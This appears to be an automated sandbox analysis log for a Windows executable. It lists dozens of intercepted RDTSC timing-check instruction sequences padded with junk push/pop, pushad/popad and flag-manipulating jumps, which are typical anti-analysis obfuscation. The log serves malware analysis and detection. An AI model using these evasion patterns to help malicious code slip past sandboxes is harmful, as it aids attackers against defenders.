Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52508F7 second address: 52508FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52508FD second address: 525091B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5CACF3B8F3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 525091B second address: 5250921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250921 second address: 5250925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250925 second address: 5250966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c movsx ebx, si 0x0000000f pushfd 0x00000010 jmp 00007F5CACC3D926h 0x00000015 sub eax, 0EB94E68h 0x0000001b jmp 00007F5CACC3D91Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250966 second address: 5250981 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250981 second address: 52509BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5CACC3D928h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52509BB second address: 52509CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52509CA second address: 5250A4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5CACC3D91Fh 0x00000008 pushfd 0x00000009 jmp 00007F5CACC3D928h 0x0000000e xor cl, 00000018h 0x00000011 jmp 00007F5CACC3D91Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007F5CACC3D922h 0x00000023 pop esi 0x00000024 pushfd 0x00000025 jmp 00007F5CACC3D91Bh 0x0000002a or ax, C48Eh 0x0000002f jmp 00007F5CACC3D929h 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250A4A second address: 5250A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007F5CACF3B8F3h 0x0000000b jmp 00007F5CACF3B8F3h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5CACF3B8F2h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250A90 second address: 5250B17 instructions: 0x00000000 rdtsc 0x00000002 mov dl, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ch, bl 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov ecx, ebx 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F5CACC3D91Ch 0x00000014 xchg eax, esi 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F5CACC3D91Eh 0x0000001c sbb ch, 00000028h 0x0000001f jmp 00007F5CACC3D91Bh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F5CACC3D928h 0x0000002b sub ecx, 587E2888h 0x00000031 jmp 00007F5CACC3D91Bh 0x00000036 popfd 0x00000037 popad 0x00000038 lea eax, dword ptr [ebp-04h] 0x0000003b jmp 00007F5CACC3D926h 0x00000040 nop 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250B17 second address: 5250B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250B1B second address: 5250B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250B1F second address: 5250B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250B25 second address: 5250B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250B2B second address: 5250B2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250B2F second address: 5250B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c movsx edx, ax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52401C4 second address: 52401CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52401CA second address: 52401F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 jmp 00007F5CACC3D928h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 mov edi, 037D16FEh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52401F8 second address: 5240262 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c pushad 0x0000000d mov di, ax 0x00000010 popad 0x00000011 push esi 0x00000012 jmp 00007F5CACF3B8F4h 0x00000017 mov dword ptr [esp], ebx 0x0000001a pushad 0x0000001b pushad 0x0000001c push eax 0x0000001d pop edi 0x0000001e pushfd 0x0000001f jmp 00007F5CACF3B8F8h 0x00000024 or ax, FF88h 0x00000029 jmp 00007F5CACF3B8EBh 0x0000002e popfd 0x0000002f popad 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240262 second address: 5240279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, ax 0x00000007 popad 0x00000008 popad 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5CACC3D91Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240279 second address: 52402D4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5CACF3B8F2h 0x00000008 sbb ecx, 34439518h 0x0000000e jmp 00007F5CACF3B8EBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F5CACF3B8F8h 0x0000001c sub si, 7F78h 0x00000021 jmp 00007F5CACF3B8EBh 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52402D4 second address: 52402D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52402D8 second address: 52402DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52402DE second address: 5240315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F5CACC3D921h 0x00000014 xor ax, 3AC6h 0x00000019 jmp 00007F5CACC3D921h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240370 second address: 5240374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240374 second address: 524037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 524037A second address: 5240397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, C596h 0x00000011 mov edx, 60CBA522h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240397 second address: 52403AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 mov dx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52403AA second address: 52403CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F5CACF3BB2Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5CACF3B8F1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52403CD second address: 52403E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D921h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52403E2 second address: 52403E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52403E8 second address: 52403F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ecx, dword ptr [ebp-14h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52403F9 second address: 5240409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52404CA second address: 52404D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240536 second address: 524053C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 524053C second address: 5240540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240540 second address: 52405BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F5CACF3B98Eh 0x00000011 jmp 00007F5CACF3B8F6h 0x00000016 cmp dword ptr [ebp-14h], edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F5CACF3B8EDh 0x00000022 jmp 00007F5CACF3B8EBh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F5CACF3B8F8h 0x0000002e jmp 00007F5CACF3B8F5h 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52405BD second address: 5240651 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D921h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F5D1D45B7DFh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F5CACC3D91Ch 0x00000016 adc eax, 5CFF4628h 0x0000001c jmp 00007F5CACC3D91Bh 0x00000021 popfd 0x00000022 pushad 0x00000023 mov al, 10h 0x00000025 mov ah, dl 0x00000027 popad 0x00000028 popad 0x00000029 mov ebx, dword ptr [ebp+08h] 0x0000002c jmp 00007F5CACC3D91Ah 0x00000031 lea eax, dword ptr [ebp-2Ch] 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F5CACC3D91Eh 0x0000003b add ecx, 4C9F93B8h 0x00000041 jmp 00007F5CACC3D91Bh 0x00000046 popfd 0x00000047 mov eax, 34F9CFEFh 0x0000004c popad 0x0000004d xchg eax, esi 0x0000004e jmp 00007F5CACC3D922h 0x00000053 push eax 0x00000054 pushad 0x00000055 mov si, bx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240651 second address: 5240736 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5CACF3B8F6h 0x00000008 jmp 00007F5CACF3B8F5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, esi 0x00000012 jmp 00007F5CACF3B8EEh 0x00000017 nop 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F5CACF3B8EEh 0x0000001f add al, 00000008h 0x00000022 jmp 00007F5CACF3B8EBh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F5CACF3B8F8h 0x0000002e sub ch, 00000068h 0x00000031 jmp 00007F5CACF3B8EBh 0x00000036 popfd 0x00000037 popad 0x00000038 push eax 0x00000039 jmp 00007F5CACF3B8F9h 0x0000003e nop 0x0000003f jmp 00007F5CACF3B8EEh 0x00000044 xchg eax, ebx 0x00000045 jmp 00007F5CACF3B8F0h 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e mov al, D8h 0x00000050 call 00007F5CACF3B8F9h 0x00000055 pop eax 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52407B3 second address: 52407B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52407B9 second address: 524001F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F5CACF3B8F7h 0x0000000f je 00007F5D1D759761h 0x00000015 xor eax, eax 0x00000017 jmp 00007F5CACF1501Ah 0x0000001c pop esi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f leave 0x00000020 retn 0004h 0x00000023 nop 0x00000024 xor ebx, ebx 0x00000026 cmp eax, 00000000h 0x00000029 je 00007F5CACF3BA43h 0x0000002f call 00007F5CB1878D6Dh 0x00000034 mov edi, edi 0x00000036 jmp 00007F5CACF3B8F7h 0x0000003b xchg eax, ebp 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f mov ch, 62h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 524001F second address: 524005A instructions: 0x00000000 rdtsc 0x00000002 mov edx, 25493932h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F5CACC3D923h 0x0000000f jmp 00007F5CACC3D923h 0x00000014 popfd 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 524005A second address: 52400B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 pushfd 0x00000006 jmp 00007F5CACF3B8F9h 0x0000000b jmp 00007F5CACF3B8EBh 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F5CACF3B8F6h 0x0000001a mov ebp, esp 0x0000001c jmp 00007F5CACF3B8F0h 0x00000021 xchg eax, ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52400B8 second address: 52400BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 52400BE second address: 52400ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5CACF3B8EBh 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 mov esi, 3FDBDA5Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 mov ebx, esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 524013B second address: 524013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 524013F second address: 5240143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240143 second address: 5240149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240D14 second address: 5240D84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5CACF3B8EFh 0x00000009 adc eax, 4D19AC0Eh 0x0000000f jmp 00007F5CACF3B8F9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F5CACF3B8F0h 0x0000001b and ax, EA88h 0x00000020 jmp 00007F5CACF3B8EBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F5CACF3B8F5h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240D84 second address: 5240D8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240D8A second address: 5240D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240D8E second address: 5240DAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D923h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240DAD second address: 5240E04 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F5CACF3B8ECh 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F5CACF3B8F0h 0x00000013 mov ebp, esp 0x00000015 jmp 00007F5CACF3B8F0h 0x0000001a cmp dword ptr [75AB459Ch], 05h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F5CACF3B8F7h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240E04 second address: 5240E36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5D1D44B4F4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5CACC3D91Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240E36 second address: 5240E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240E3C second address: 5240E6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D923h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5CACC3D925h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5240E6D second address: 5240E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250046 second address: 525004C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 525004C second address: 5250050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250050 second address: 5250054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250054 second address: 5250082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F5D1D7413FCh 0x0000000d push 75A52B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [75AB4538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 jmp 00007F5CACF3B8F7h 0x00000057 sub esi, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c mov ebx, esi 0x0000005e mov edi, esi 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250082 second address: 5250088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250088 second address: 52500D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-1Ch], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F5CACF3B8F8h 0x00000014 jmp 00007F5CACF3B8F5h 0x00000019 popfd 0x0000001a jmp 00007F5CACF3B8F0h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250D99 second address: 5250DB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5CACC3D926h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250DB3 second address: 5250E10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5CACF3B8F8h 0x00000013 jmp 00007F5CACF3B8F5h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F5CACF3B8F0h 0x0000001f xor al, 00000038h 0x00000022 jmp 00007F5CACF3B8EBh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 5250E10 second address: 5250E4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F5CACC3D91Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5CACC3D91Eh 0x00000017 rdtsc
